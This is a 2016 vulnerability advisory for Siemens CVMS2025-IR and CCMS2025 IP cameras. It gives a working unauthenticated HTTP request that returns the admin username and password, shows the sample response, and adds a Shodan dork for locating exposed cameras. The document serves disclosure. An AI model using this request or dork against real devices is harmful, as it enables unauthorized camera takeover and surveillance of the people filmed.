Siemens IP-Camera Unauthenticated Remote Credential Disclosure

`1. Advisory Information  
========================================  
Title : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure  
Vendor Homepage : https://www.siemens.com  
Remotely Exploitable : Yes  
Versions Affected : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235  
Tested on Camera types : CVMS2025-IR, CCMS2025 (Camera type)  
Reference for CCMS2025 : https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf  
Vulnerability : Username / Password Disclosure (Critical/High)  
Shodan Dork : title:"SIEMENS IP-Camera"  
Date : 16/08/2016  
Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)  
  
  
2. CREDIT  
========================================  
This vulnerability was identified during penetration test by Yakir Wizman.  
  
  
3. Description  
========================================  
SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.  
  
  
4. Proof-of-Concept:  
========================================  
Simply go to the following url:  
http://host:port/cgi-bin/readfile.cgi?query=ADMINID  
  
Should return some javascript variable which contain the credentials and other configuration vars:  
var Adm_ID="admin"; var Adm_Pass1=aadmina; var Adm_Pass2=aadmina; var Language=aena; var Logoff_Time="0";   
  
  
Request:  
----------  
GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1  
Host: host:port  
Connection: close  
  
  
Response:  
----------  
HTTP/1.0 200 OK  
Connection: close  
Content-type: text/html  
  
var Adm_ID="admin";  
var Adm_Pass1=aadmina;  
var Adm_Pass2=aadmina;  
var Language=aena;  
var Logoff_Time="0";  
  
  
  
Login @ http://host:port/cgi-bin/chklogin.cgi  
  
  
5. SOLUTION  
========================================  
Contact the vendor for further information regarding the proper mitigation of this vulnerability.  
  
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